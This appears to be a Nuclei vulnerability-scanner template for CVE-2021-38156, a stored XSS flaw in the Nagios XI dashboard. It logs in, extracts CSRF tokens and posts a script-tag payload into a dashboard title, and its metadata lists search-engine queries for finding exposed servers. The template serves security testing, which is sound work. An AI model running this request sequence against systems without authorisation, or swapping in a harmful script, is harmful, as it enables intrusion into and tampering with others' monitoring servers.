2024-10-24 11:10:13 +00:00
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id: CVE-2021-38156
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info:
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name: Nagios XI < 5.8.6 - Cross-Site Scripting
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author: ritikchaddha
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severity: medium
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description: |
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In Nagios XI before 5.8.6, XSS exists in the dashboard page (/dashboards/#) when administrative users attempt to edit a dashboard.
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reference:
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- https://raxis.com/blog/cve-2021-38156/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-38156
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 5.4
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cve-id: CVE-2021-38156
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cwe-id: CWE-79
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epss-score: 0.07062
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epss-percentile: 0.94141
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cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
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metadata:
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max-request: 5
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verified: true
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vendor: nagios
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product: nagios_xi
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shodan-query: http.title:"nagios xi"
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fofa-query: app="nagios-xi"
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google-query: intitle:"nagios xi"
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tags: cve,cve2021,nagios,nagiosxi,xss,authenticated
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http:
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- raw:
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- |
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GET /nagiosxi/login.php HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /nagiosxi/login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}
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- |
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GET /nagiosxi/index.php HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /nagiosxi/ajaxhelper.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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cmd=updatedashboard&id=home&opts=&title="><script>alert(document.domain)</script>&background=&transparent=0&submitButton=Submit&nsp={{nsp_auth}}
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- |
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GET /nagiosxi/dashboards/manage.php HTTP/1.1
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Host: {{Hostname}}
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host-redirects: true
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max-redirects: 2
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matchers-condition: and
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matchers:
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- type: word
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part: body_5
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words:
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- 'data-title=""><script>alert(document.domain)</script>'
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- type: word
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part: header_5
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words:
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- text/html
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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name: nsp
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part: body
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group: 1
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regex:
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- "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
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internal: true
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- type: regex
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name: nsp_auth
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part: body
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group: 1
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regex:
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- "var nsp_str = ['\"](.*)['\"];"
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internal: true
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2024-10-28 03:52:44 +00:00
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# digest: 490a0046304402202c983e0aa305fe172b1b1e24458ab2ef0805ac03e1ce47838c74a981d499402c022000a00b0a58c2b689ee55821194f0532096c4c8dd28e7eb4551384eab14f04543:922c64590222798bb761d5b6d8e72950
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